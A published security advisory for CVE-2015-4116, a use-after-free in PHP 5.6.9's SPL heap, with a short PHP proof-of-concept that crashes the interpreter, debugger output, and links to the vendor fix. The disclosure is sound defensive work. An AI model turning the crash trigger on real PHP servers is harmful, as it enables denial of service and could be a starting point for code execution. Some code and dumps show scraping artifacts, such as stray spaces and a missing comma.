Total Tests:

Use-After-Free in PHP

Advisory ID:HTB23262
Product:PHP
Vendor:PHP Group
Vulnerable Versions:5.6.9 and probably prior
Tested Version:5.6.9
Advisory Publication:May 20, 2015 [without technical details]
Vendor Notification:May 20, 2015
Vendor Fix:June 2, 2015
Public Disclosure:June 10, 2015
Latest Update:June 9, 2015
Vulnerability Type:Use After Free [CWE-416]
CVE Reference:CVE-2015-4116
Risk Level:Medium
CVSSv2 Base Score:4.6 (AV:L/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered use-after-free vulnerability in a popular programming language PHP, which can be exploited to cause crash and possibly execute arbitrary code on the target system.

The vulnerability resides within the 'spl_heap_object_free_storage()' PHP function when trying to dereference already freed memory. A local attacker can cause segmentation fault or possibly execute arbitrary code on the target system with privileges of webserver.

Below is a simple code that will trigger a crash:

<?php
class SplMinHeap1 extends SplMinHeap {
  public function 
compare($a,   $b) {
    return -
parent::notexist($a$b);
  }
}
$h = new   SplMinHeap1();
$h->insert(1);
$h->insert(6);
$h->insert(5);
$h->insert(2   ); 
?>


Running the following PoC we get:

gdb-peda$ r ~/Desktop/heap_uaf.php
Starting program: /usr/local/bin/php ~/Desktop/heap_uaf.php
PHP Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4

Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4

Program received signal SIGSEGV, Segmentation fault.
[------------------------------------------------------------------- -------registers------------------------------------------------------------ ---------------]
RAX: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ)
RBX: 0x8000000
RCX: 0xcd0458 ("/home/test/De"...)
RDX: 0x16f
RSI: 0xcd0458 ("/home/test/De"...)
RDI: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ)
RBP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0
RSP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0
RIP: 0x82a96f (<zval_delref_p+12>: mov eax,DWORD PTR [rax+0x10])
R8 : 0x269
R9 : 0x0
R10: 0x7fffffff9b20 --> 0x0
R11: 0x7ffff71102f0 --> 0xfffda6c0fffda3ef
R12: 0x4209e0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdf30 --> 0x2
R14: 0x0
R15: 0x0
[---------------------------------------------------------------------- -------code----------------------------------------------------------------- ------------]
0x82a964 <zval_delref_p+1>: mov rbp,rsp
0x82a967 <zval_delref_p+4>: mov QWORD PTR [rbp-0x8],rdi
0x82a96b <zval_delref_p+8>: mov rax,QWORD PTR [rbp-0x8]
=> 0x82a96f <zval_delref_p+12>: mov eax,DWORD PTR [rax+0x10]
0x82a972 <zval_delref_p+15>: lea edx,[rax-0x1]
0x82a975 <zval_delref_p+18>: mov rax,QWORD PTR [rbp-0x8]
0x82a979 <zval_delref_p+22>: mov DWORD PTR [rax+0x10],edx
0x82a97c <zval_delref_p+25>: mov rax,QWORD PTR [rbp-0x8]
[---------------------------------------------------------------- ------------stack----------------------------------------------------------- ------------------]


As seen above when trying to dereference the value from $rax (which has been already freed) PHP crashes.

Stopped reason: SIGSEGV
0x000000000082a96f in zval_delref_p (pz=0x5a5a5a5a5a5a5a5a) at /home/test/Desktop/php-5.6.9/Zend/zend.h:411
411 return --pz->refcount__gc;

Running the backtrace command we can see a couple of freed variables: zval_ptr, pz
gdb-peda$ bt
#0 0x000000000082a96f in zval_delref_p (pz=0x5a5a5a5a5a5a5a5a) at /home/test/Desktop/php-5.6.9/Zend/zend.h:411
#1 0x000000000082aafb in i_zval_ptr_dtor (zval_ptr=0x5a5a5a5a5a5a5a5a, __zend_filename=0xcd0458 "/home/test/De"..., __zend_lineno=0x16f) at /home/test/Desktop/php-5.6.9/Zend/zend_execute.h:76
#2 0x000000000082bdcb in _zval_ptr_dtor (zval_ptr=0x7ffff7fcba88, __zend_filename=0xcd0458 "/home/test/De"..., __zend_lineno=0x16f) at /home/test/Desktop/php-5.6.9/Zend/zend_execute_API.c:424
#3 0x00000000006e5c1a in spl_heap_object_free_storage (object=0x7ffff7dfdfa0) at /home/test/Desktop/php-5.6.9/ext/spl/spl_heap.c:367
#4 0x000000000087f566 in zend_objects_store_free_object_storage (objects=0x102e640 <executor_globals+928>) at /home/test/Desktop/php-5.6.9/Zend/zend_objects_API.c:97
#5 0x000000000082b89e in shutdown_executor () at /home/test/Desktop/php-5.6.9/Zend/zend_execute_API.c:290
#6 0x0000000000841a4c in zend_deactivate () at /home/test/Desktop/php-5.6.9/Zend/zend.c:960
#7 0x00000000007a7c40 in php_request_shutdown (dummy=0x0) at /home/test/Desktop/php-5.6.9/main/main.c:1882
#8 0x00000000008f6501 in do_cli (argc=0x2, argv=0x1032560) at /home/test/Desktop/php-5.6.9/sapi/cli/php_cli.c:1177
#9 0x00000000008f6d8b in main (argc=0x2, argv=0x1032560) at /home/test/Desktop/php-5.6.9/sapi/cli/php_cli.c:1378
#10 0x00007ffff6faaec5 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6
#11 0x0000000000420a09 in _start ()


Lastly, from stack #2 we clearly see that the zval_ptr pointer (0x7ffff7fcba88) points to freed memory:

gdb-peda$ x/50xw 0x7ffff7fcba88
0x7ffff7fcba88: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a

0x7ffff7fcba98: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbaa8 : 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbab8: 0x5a5a5a5a 0x 5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbac8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a 5a5a 0x5a5a5a5a
0x7ffff7fcbad8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbae8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbaf 8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbb08: 0x5a5a5a5a 0 x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbb18: 0x5a5a5a5a 0x5a5a5a5a 0x5a5 a5a5a 0x5a5a5a5a
0x7ffff7fcbb28: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5 a
0x7ffff7fcbb38: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbb 48: 0x5a5a5a5a 0x5a5a5a5a


This vulnerability was successfully reproduced Ubuntu 14.04.1 LTS (32 bit and 64 bit) on the latest version of PHP 5.6.9.

How to Detect Use After Free Vulnerabilities
Website Security Test
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  • Website CMS Security Test
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  • WordPress & Drupal Scanning
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Solution:
Apply Vendor's patch. More Information:
https://bugs.php.net/bug.php?id=69737
http://git.php.net/?p=php-src.git;a=commit;h=1cbd25ca15383394ffa9ee8601c5de4c0f2f90e1


References:
[1] High-Tech Bridge Advisory HTB23262 - https://www.immuniweb.com/advisory/HTB23262 - Use-After-Free in PHP.
[2] PHP - http://www.php.net - PHP is a popular general-purpose scripting language that is especially suited to web development.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

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